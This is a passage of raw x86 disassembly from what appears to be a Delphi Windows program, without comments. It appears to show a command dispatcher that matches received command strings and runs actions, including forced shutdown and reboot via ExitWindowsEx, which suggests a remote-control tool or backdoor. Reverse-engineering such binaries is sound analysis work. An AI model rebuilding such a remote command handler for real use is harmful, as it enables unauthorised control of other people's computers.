push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969bc
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85c8]
mov edx, 0x496ab8
call fcn.00404f38
jne 0x4936c6
xor eax, eax
push ebp
push 0x493685
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a6a30]
mov edx, dword [eax]
call dword [edx + 0x44]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49368f
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x280
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x49695c
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85cc]
mov edx, 0x496ac4
call fcn.00404f38
jne 0x49377f
xor eax, eax
push ebp
push 0x493711
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
call fcn.0045ce24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49371b
cmp dword [ebp - 0x30], 0
jne 0x493758
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x286
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496908
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496968
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85d0]
mov edx, 0x496ad0
call fcn.00404f38
jne 0x49385d
xor eax, eax
push ebp
push 0x4937ef
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x85d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85d4]
call fcn.00409244
call fcn.0045caac
lea eax, [ebp - 0x30]
call fcn.0045ce24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4937f9
cmp dword [ebp - 0x30], 0
jne 0x493836
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x28c
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496908
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496968
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85d8]
mov edx, 0x496adc
call fcn.00404f38
jne 0x49393b
xor eax, eax
push ebp
push 0x4938cd
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x85dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85dc]
call fcn.00409244
call fcn.0045cae0
lea eax, [ebp - 0x30]
call fcn.0045ce24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4938d7
cmp dword [ebp - 0x30], 0
jne 0x493914
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x292
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496908
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496968
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85e0]
mov edx, 0x496ae8
call fcn.00404f38
jne 0x493a6a
xor eax, eax
push ebp
push 0x4939fc
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x85e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85e4]
push eax
lea ecx, [ebp - 0x85e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85e8]
push eax
lea ecx, [ebp - 0x85ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85ec]
push eax
lea ecx, [ebp - 0x85f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85f0]
pop edx
pop ecx
call fcn.0045c87c
lea eax, [ebp - 0x30]
call fcn.0045ce24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493a06
cmp dword [ebp - 0x30], 0
jne 0x493a43
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x298
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496908
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496968
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85f4]
mov edx, 0x496af4
call fcn.00404f38
jne 0x493b48
xor eax, eax
push ebp
push 0x493ada
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x85f8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85f8]
call fcn.00409244
call fcn.0045ccc0
lea eax, [ebp - 0x30]
call fcn.0045ce24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493ae4
cmp dword [ebp - 0x30], 0
jne 0x493b21
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x29e
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496908
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496968
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x85fc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x85fc]
mov edx, 0x496b00
call fcn.00404f38
jne 0x493c26
xor eax, eax
push ebp
push 0x493bb8
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8600]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8600]
call fcn.00409244
call fcn.0045cc40
lea eax, [ebp - 0x30]
call fcn.0045ce24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493bc2
cmp dword [ebp - 0x30], 0
jne 0x493bff
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x2a4
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496908
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496968
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8604]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8604]
mov edx, 0x496b0c
call fcn.00404f38
jne 0x493d04
xor eax, eax
push ebp
push 0x493c96
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8608]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8608]
call fcn.00409244
call fcn.0045cc00
lea eax, [ebp - 0x30]
call fcn.0045ce24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493ca0
cmp dword [ebp - 0x30], 0
jne 0x493cdd
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x2aa
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496908
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496968
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x860c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x860c]
mov edx, 0x496b18
call fcn.00404f38
jne 0x493de2
xor eax, eax
push ebp
push 0x493d74
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8610]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8610]
call fcn.00409244
call fcn.0045cc80
lea eax, [ebp - 0x30]
call fcn.0045ce24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493d7e
cmp dword [ebp - 0x30], 0
jne 0x493dbb
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x2b0
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496908
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x496968
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8614]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8614]
mov edx, 0x496b24
call fcn.00404f38
jne 0x493f0c
xor eax, eax
push ebp
push 0x493e33
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493e3d
xor eax, eax
push ebp
push 0x493ef5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x463f68]
call fcn.00464378
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x31c], ebx
lea ecx, [ebp - 0x8618]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov esi, dword [eax]
call dword [esi + 0xc]
mov edx, dword [ebp - 0x8618]
mov eax, ebx
call fcn.00464494
lea ecx, [ebp - 0x861c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x861c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.004644a8
lea ecx, [ebp - 0x8620]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8620]
call fcn.00409244
mov edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00464484
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00464440
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493eff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8624]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8624]
mov edx, 0x496b30
call fcn.00404f38
jne 0x493f70
xor eax, eax
push ebp
push 0x493f59
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x31c]
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493f63
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8628]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8628]
mov edx, 0x496b3c
call fcn.00404f38
jne 0x494048
xor eax, eax
push ebp
push 0x493fc1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x320]
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x493fcb
xor eax, eax
push ebp
push 0x494031
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x461fb8]
call fcn.00462130
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 0x320], ebx
lea ecx, [ebp - 0x862c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x862c]
call fcn.00409244
mov edx, eax
mov eax, ebx
call fcn.00462244
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x320]
call fcn.00462220
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49403b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8630]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8630]
mov edx, 0x496b48
call fcn.00404f38
jne 0x4940ac
xor eax, eax
push ebp
push 0x494095
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x320]
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49409f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8634]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8634]
mov edx, 0x496b54
call fcn.00404f38
jne 0x49414a
xor eax, eax
push ebp
push 0x494119
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a53], 0
je 0x49410f
lea ecx, [ebp - 0x8638]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8638]
mov eax, dword [0x4a6a48]
call fcn.0048cd00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494123
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969c8
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x863c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x863c]
mov edx, 0x496b60
call fcn.00404f38
jne 0x49418c
call fcn.004587d4
push 0
push 0xc
call sub.user32.dll_ExitWindowsEx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8640]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8640]
mov edx, 0x496b6c
call fcn.00404f38
jne 0x4941ce
call fcn.004587d4
push 0
push 6
call sub.user32.dll_ExitWindowsEx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8644]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8644]
mov edx, 0x496b78
call fcn.00404f38
jne 0x494258
xor eax, eax
push ebp
push 0x494227
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a53], 0
jne 0x49421d
mov dl, 1
mov eax, dword [0x48c9b0]
call fcn.0048ccbc
mov dword [0x4a6a48], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494231
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969c8
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8648]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8648]
mov edx, 0x496b84
call fcn.00404f38
jne 0x4942db
xor eax, eax
push ebp
push 0x4942aa
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a53], 0
je 0x4942a0
mov eax, dword [0x4a6a48]
call fcn.0041c07c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4942b4
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969c8
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x864c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x864c]
mov edx, 0x496b90
call fcn.00404f38
jne 0x4943b2
xor eax, eax
push ebp
push 0x494371
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x496b9c
call fcn.00409244
push eax
mov eax, 0x4a6a60
mov ecx, 1
mov edx, dword [0x48e338]
call fcn.00405e8c
add esp, 4
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x487ccc]
call fcn.00488630
mov dword [0x4a6a68], eax
mov eax, dword [0x4a6a68]
mov edx, dword [ebp - 4]
mov dword [eax + 0x3c], edx
mov dword [eax + 0x38], 0x490a78
mov eax, dword [0x4a6a68]
call fcn.004888c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49437b
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x2b6
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969c8
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8650]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8650]
mov edx, 0x496ba8
call fcn.00404f38
jne 0x49443c
xor eax, eax
push ebp
push 0x4943fb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a6a68]
call fcn.004888e8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494405
lea ecx, [ebp - 0x30]
mov dx, 6
mov ax, 0x2bc
call fcn.0048e358
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969c8
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8654]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8654]
mov edx, 0x496bb4
call fcn.00404f38
jne 0x494579
xor eax, eax
push ebp
push 0x4944a3
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a50], 0
je 0x494488
mov eax, dword [0x4a6a40]
call fcn.0041c07c
mov dl, 1
mov eax, dword [0x48d18c]
call fcn.0048d278
mov dword [0x4a6a40], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4944ad
lea eax, [ebp - 0x30]
mov edx, 0x496908
call fcn.00404bc4
lea eax, [ebp - 0x865c]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x865c]
lea ecx, [ebp - 0x8658]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8658]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x8660]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8660]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8664]
mov dx, 6
mov ax, 0x2c2
call fcn.0048e358
mov eax, dword [ebp - 0x8664]
push eax
lea eax, [ebp - 0x8668]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8668]
lea ecx, [ebp - 0x30]
pop eax
call fcn.0045839c
lea eax, [ebp - 0x866c]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x866c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8670]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8670]
mov edx, 0x496bc0
call fcn.00404f38
jne 0x49478d
xor eax, eax
push ebp
push 0x4946b5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov edx, dword [eax]
call dword [edx + 0x58]
xor eax, eax
mov dword [0x4a6a9c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov eax, dword [ebp - 4]
call fcn.0049074c
test al, al
je 0x49469b
xor eax, eax
push ebp
push 0x494661
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov edx, 0x4969a4
call fcn.00404bc4
lea eax, [ebp - 0x8678]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8678]
lea ecx, [ebp - 0x8674]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8674]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x867c]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x867c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494693
mov eax, dword [ebp - 4]
call fcn.00499a54
lea ecx, [ebp - 0x18]
mov dx, 6
mov ax, 0x2c8
call fcn.0048e358
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4946d9
lea eax, [ebp - 0x30]
mov edx, 0x496908
call fcn.00404bc4
lea eax, [ebp - 0x8684]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8684]
lea ecx, [ebp - 0x8680]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8680]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x8688]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8688]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x868c]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x868c]
lea ecx, [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0045839c
lea eax, [ebp - 0x8690]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8690]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8694]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8694]
mov edx, 0x496bcc
call fcn.00404f38
jne 0x4948ce
lea ecx, [ebp - 0x18]
mov dx, 6
mov ax, 0x2d4
call fcn.0048e358
xor eax, eax
push ebp
push 0x494800
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [0x4a6a9c], 0xffffffff
mov eax, dword [ebp - 4]
call fcn.00499c10
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov edx, dword [eax]
call dword [edx + 0x58]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49481a
lea eax, [ebp - 0x30]
mov edx, 0x496908
call fcn.00404bc4
lea eax, [ebp - 0x869c]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x869c]
lea ecx, [ebp - 0x8698]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8698]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x86a0]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x86a0]
